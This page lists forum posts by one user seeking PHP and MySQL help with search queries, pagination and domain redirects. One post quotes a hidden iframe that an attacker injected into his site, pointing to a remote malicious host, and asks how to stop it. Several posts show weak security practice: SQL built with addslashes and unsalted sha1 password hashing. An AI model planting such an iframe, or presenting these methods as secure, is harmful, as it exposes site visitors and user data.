Jump to content

Agtronic

Members
 View Profile  See their activity

  • Posts

    27

  • Joined

  • Last visited

    Never

 Content Type 

Everything posted by Agtronic

  1. Agtronic
    I change all my passwords, and did everything I could think of, including completely re-uploading a clean source for the website. A few days later, it happened again.
  2. Agtronic
    It keeps happening over and over. I fix the site and the problem comes back a few days later! It's driving me crazy!
  3. Agtronic
    Thanks a lot guys, I appreciate it. Funny you guys both mentioned the red square at the bottom, I never felt so great about it, and it actually wasn't part of the original design. Hearing it from two people definitely proves the point, it needs to go. I can't figure out why the site loads so slow. It has been that way since before I even put in the flag animation, (which I wish I could make smaller, but it took me a week just to figured out how to make it in flash). Thanks guys!
  4. Agtronic
    Hey guys and gals, My website was recently modified by an outside source, and I'm not sure how it was done. Basically, the following code was added right after the <body> tag in every index file on the site. <iframe src="http:// aamane06.isa-geek.com: 8080/ts/ in.cgi?open3" width=574 height=0 style="visibility: hidden"></iframe> (I added some spaces in there so no one clicks on it). This is about the only thing I have been able to find : http://forum.joomla.org/viewtopic.php?f=432&t=438367 Anyone else seen this? I'm wondering if anyone has any tips on how I can prevent this from happening in the future. I don't have any real fancy scripting on the website, other than a few forms to gather email addresses and such, but every input is filtered before being processed. Any insight? Thanks! Oh, and the website in question : http://www.agtronicmotorsport.com
  5. Agtronic
    Hey guys and gals, Didn't come here with this intention, but thought it was a good idea when I saw this section. What do you guys think of my website? There are sections I have not yet implemented, such as the services, but I'm getting to that soon. http://www.agtronicmotorsport.com Thanks! edit : Thought I'd add that most of the content is pulled from a database, including the galleries.
  6. Agtronic
    I GOT IT! Works perfectly! Thanks so much!
  7. Agtronic
    Thanks! I will try messing with it!
  8. Agtronic
    Hey guys and gals, Little question for you. I have a hosting package with a site, and I have two domain names pointing to this server. The host doesn't offer the ability to have one of the names point to a different directory or script. My question is, can I use a PHP_SELF test to determine which domain name was used to pull the page, and then header() the correct page or root? Thank you for your time! -- Markku
  9. Agtronic
    Just wanted to say thanks, it worked perfectly! It's something I've been trying to get for a long time, so I'm very thankful for your information! Take care!
  10. Agtronic
    Whoa. That part you use to filter all data is awesome! I didn't know how to do that!! So, essentially, if the person doesn't put anything into "firstname" or "lastname" and only puts something into "username", all others will be "true"? The query will therefor actually look like: "SELECT * FROM profiles WHERE true AND true AND UserName='Agtronic'" ; Is this right? And this is a valid mysql query? Thank you so much for your time!!
  11. Agtronic
    Hey guys and gals, Here's a question I have been searching an answer to for a long time. I just can't find any specific information. What I have is a search form with 9 fields. The search form is setup so that the more information the user puts in, the more specific the search. My problem is, I don't know of a way to properly structure the query so that it is always valid. I currently have it set up this way : <?php $query = "SELECT * FROM profiles WHERE " ; if ($_POST['firstname']) { $firstname = addslashes(trim($_POST['firstname'])) ; $query .= "FirstName='$firstname'" ; } if ($_POST['lastname'] && $_POST['firstname']) $query .= " AND " ; if ($_POST['lastname']) { $lastname = addslashes(trim($_POST['lastname'])) ; $query .= "LastName='$lastname'" ; } if ($_POST['username']) { $username = addslashes(trim($_POST['username'])) ; $query .= "UserName='$username'" ; } ?> It's obviously a very poor way setting up the query, and will take a long time for nothing. Is there a more elegant way of adding the "AND" statement ONLY if there is already a WHERE statement? It seems so simple and so obvious at first, then when I start to think of possible solutions I just get lost in my own thoughts. Any help would be greatly appreciated! Thanks for your time!
  12. Agtronic
    Thanks! Learn something everyday!
  13. Agtronic
    It would be a good idea to add some simple encryption to the password so that you do not store plain-text passwords in your database. And it's also a good idea to clean up the input ... <?php $user = trim(addslashes(($_POST['username'])); $pass = sha1(trim(($_POST['password'])); // add the sha1 over the password to encrypt it, and at the registration step aswell ... ?>
  14. Agtronic
    Holy isht! You guys are the greatest! Thanks so much!!
  15. Agtronic
    Not that I can add anything helpful, but I do understand how it feels to be wired all night and then stuck on a stupid little thing that should be so simple. Sometimes I look at my code the following morning and wonder what the hell I was thinking. Hehehe!
  16. Agtronic
    Hey guys and gals, I have a database that contains user profiles. Users' date of birth are stored as unix timestamps, many of which are in the negative. I am able to calculate the age of the users once the timestamp has been pulled from the DB. What I'd like to do is pull users between the ages of (say) 40 and 50 years old. Question : How can I generate a timestamp value based on age so that I can use it in the MySQL query string? Any help would be greatly appreciated! Thank you for your time!
  17. Agtronic
    Thanks alot for the code. That helps clear things up. I totally realize that I tend to write a lot of repetitive code, and it's something I've always noticed about everyone else's code. I just don't think like a programmer. As for the semi-colons, I am very visual and also OCD, so I tend to line things up all the time. Thanks for your help, it is much appreciated.
  18. Agtronic
    I'm just so lost now. I have no idea what I'm doing. I've tried adding the $_POST check, but the logic is just confusing me. There is too much going on, and too many variables, and I have to little short-term memory. I understand what is happening, and I understand why it's happening, what I can't get, is how to structure the IF statements, so that they don't interfere with each other.
  19. Agtronic
    Ah ha! There's one! I'll fix that, and see where I can go from there. Thanks so much!
  20. Agtronic
    Sorry guys, I have never used the code tags before. I added the php tag ... <html> <body> <?php if ($_GET['action'] == "list") { if (isset($_GET['page'])) { $page = $_GET['page'] ; } else { $page = 1 ; } if (!$_SESSION['sort_1']) $_SESSION['sort_1'] = 10 ; // set default dropdown values if (!$_SESSION['sort_2']) $_SESSION['sort_2'] = 1 ; if (!$_SESSION['sort_3']) $_SESSION['sort_3'] = 3 ; db($db) ; // all of this is for pagination $query = "SELECT count(*) FROM profiles" ; // $result = mysql_query($query) ; // $query_data = mysql_fetch_row($result) ; // $numrows = $query_data[0] ; // // if (!$_SESSION['sort_1']) // $rows_per_page = 15 ; // else // $rows_per_page = $_SESSION['sort_1'] ; // // $lastpage = ceil($numrows/$rows_per_page) ; // $page = (int)$page ; if ($page < 1) { $page = 1 ; } elseif ($page > $lastpage) { $page = $lastpage ; } $limit = ' LIMIT ' .($page - 1) * $rows_per_page .',' .$rows_per_page; $query = "SELECT UserName, BirthDate, Sex, JoinDate, Sexuality FROM profiles" ; if ($_POST['sort_1']) $_SESSION['sort_1'] = $_POST['sort_1'] ; if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") { $_SESSION['sort_2'] = "2" ; $query .= " WHERE Sex='M'" ; } if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") { $_SESSION['sort_2'] = "3" ; $query .= " WHERE Sex='F'" ; } if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") { $_SESSION['sort_3'] = "1" ; $query .= " ORDER BY BirthDate DESC" ; } if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") { $_SESSION['sort_3'] = "2" ; $query .= " ORDER BY Sex DESC" ; } $query .= $limit ; // add in limit clause $result = mysql_query($query) ; $num_results = mysql_num_rows($result); ?> <form name="search" action="members.php?action=list" method="post"> <table width="550" cellpadding="5" cellspacing="5"> <tr> <td colspan="3" valign="middle" class="searchheaders">Members per page : <select name="sort_1" class="searchboxes"><option<? if ($_POST['sort_1'] == "10" or $_SESSION['sort_1'] == "10") echo " selected=\"selected\"" ; ?>>10</option><option<? if ($_POST['sort_1'] == "25" or $_SESSION['sort_1'] == "25") echo " selected=\"selected\"" ; ?>>25</option><option<? if ($_POST['sort_1'] == "50" or !$_POST['sort_1'] or !$_SESSION['sort_1']) echo " selected=\"selected\"" ; ?>>50</option><option<? if ($_POST['sort_1'] == "100" or $_SESSION['sort_1'] == "100") echo " selected=\"selected\"" ; ?>>100</option> </select> Show : <select name="sort_2" class="searchboxes"><option value="1"<? if ($_POST['sort_2'] == "1" or !$_POST['sort_2'] or !$_SESSION['sort_2']) echo " selected=\"selected\"" ; ?>>Both</option><option value="2"<? if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") echo " selected=\"selected\"" ; ?>>Only Men</option><option value="3"<? if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") echo " selected=\"selected\"" ; ?>>Only Women</option></select> Sort By : <select name="sort_3" class="searchboxes"><option value="1"<? if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") echo " selected=\"selected\"" ; ?>>Age</option><option value="2"<? if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") echo " selected=\"selected\"" ; ?>>Sex</option><option value="3"<? if ($_POST['sort_3'] == "3" or !$_POST['sort_3'] or !$_SESSION['sort_3']) echo " selected=\"selected\"" ; ?>>Join Date</option></select> <input type="submit" value="Refresh" class="buttons2" /></td> </tr> </table> </body> </html>
  21. Agtronic
    Hi boys and girls! I'm working on member lookup page for a site, and as I added more and more to the script, things were going great. Then I decided to add pagination, and it still worked great. But THEN, I realized it bothered me that the dropdown menus didn't "remember" the sorting choices once a user started clicking into the next pages, as there were no longer the $_POST vars ... What I tried to do is register the sorting choices into session variables, but then after messing with it for too long, I've realized it's too much for my brain, and I just get confused in the logic. It KIND of works, but then out of nowhere, I notice that sometimes the query string ends up with (WHERE Sex='M') and (WHERE Sex='F') in the same query string. I know why it's happening, but I can no longer think straight, and I can't find a solution. I would really appreciate it if someone could point me in the right direction. ANY help would be greatly appreciated. Thanks for your time! if ($_GET['action'] == "list") { if (isset($_GET['page'])) { $page = $_GET['page'] ; } else { $page = 1 ; } if (!$_SESSION['sort_1']) $_SESSION['sort_1'] = 10 ; // set default dropdown values if (!$_SESSION['sort_2']) $_SESSION['sort_2'] = 1 ; if (!$_SESSION['sort_3']) $_SESSION['sort_3'] = 3 ; db($db) ; // all of this is for pagination $query = "SELECT count(*) FROM profiles" ; // $result = mysql_query($query) ; // $query_data = mysql_fetch_row($result) ; // $numrows = $query_data[0] ; // // if (!$_SESSION['sort_1']) // $rows_per_page = 15 ; // else // $rows_per_page = $_SESSION['sort_1'] ; // // $lastpage = ceil($numrows/$rows_per_page) ; // $page = (int)$page ; if ($page < 1) { $page = 1 ; } elseif ($page > $lastpage) { $page = $lastpage ; } $limit = ' LIMIT ' .($page - 1) * $rows_per_page .',' .$rows_per_page; $query = "SELECT UserName, BirthDate, Sex, JoinDate, Sexuality FROM profiles" ; if ($_POST['sort_1']) $_SESSION['sort_1'] = $_POST['sort_1'] ; if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") { $_SESSION['sort_2'] = "2" ; $query .= " WHERE Sex='M'" ; } if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") { $_SESSION['sort_2'] = "3" ; $query .= " WHERE Sex='F'" ; } if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") { $_SESSION['sort_3'] = "1" ; $query .= " ORDER BY BirthDate DESC" ; } if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") { $_SESSION['sort_3'] = "2" ; $query .= " ORDER BY Sex DESC" ; } $query .= $limit ; // add in limit clause $result = mysql_query($query) ; $num_results = mysql_num_rows($result); ?> <form name="search" action="members.php?action=list" method="post"> <table width="550" cellpadding="5" cellspacing="5"> <tr> <td colspan="3" valign="middle" class="searchheaders">Members per page : <select name="sort_1" class="searchboxes"><option<? if ($_POST['sort_1'] == "10" or $_SESSION['sort_1'] == "10") echo " selected=\"selected\"" ; ?>>10</option><option<? if ($_POST['sort_1'] == "25" or $_SESSION['sort_1'] == "25") echo " selected=\"selected\"" ; ?>>25</option><option<? if ($_POST['sort_1'] == "50" or !$_POST['sort_1'] or !$_SESSION['sort_1']) echo " selected=\"selected\"" ; ?>>50</option><option<? if ($_POST['sort_1'] == "100" or $_SESSION['sort_1'] == "100") echo " selected=\"selected\"" ; ?>>100</option> </select> Show : <select name="sort_2" class="searchboxes"><option value="1"<? if ($_POST['sort_2'] == "1" or !$_POST['sort_2'] or !$_SESSION['sort_2']) echo " selected=\"selected\"" ; ?>>Both</option><option value="2"<? if ($_POST['sort_2'] == "2" or $_SESSION['sort_2'] == "2") echo " selected=\"selected\"" ; ?>>Only Men</option><option value="3"<? if ($_POST['sort_2'] == "3" or $_SESSION['sort_2'] == "3") echo " selected=\"selected\"" ; ?>>Only Women</option></select> Sort By : <select name="sort_3" class="searchboxes"><option value="1"<? if ($_POST['sort_3'] == "1" or $_SESSION['sort_3'] == "1") echo " selected=\"selected\"" ; ?>>Age</option><option value="2"<? if ($_POST['sort_3'] == "2" or $_SESSION['sort_3'] == "2") echo " selected=\"selected\"" ; ?>>Sex</option><option value="3"<? if ($_POST['sort_3'] == "3" or !$_POST['sort_3'] or !$_SESSION['sort_3']) echo " selected=\"selected\"" ; ?>>Join Date</option></select> <input type="submit" value="Refresh" class="buttons2" /></td> </tr>
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.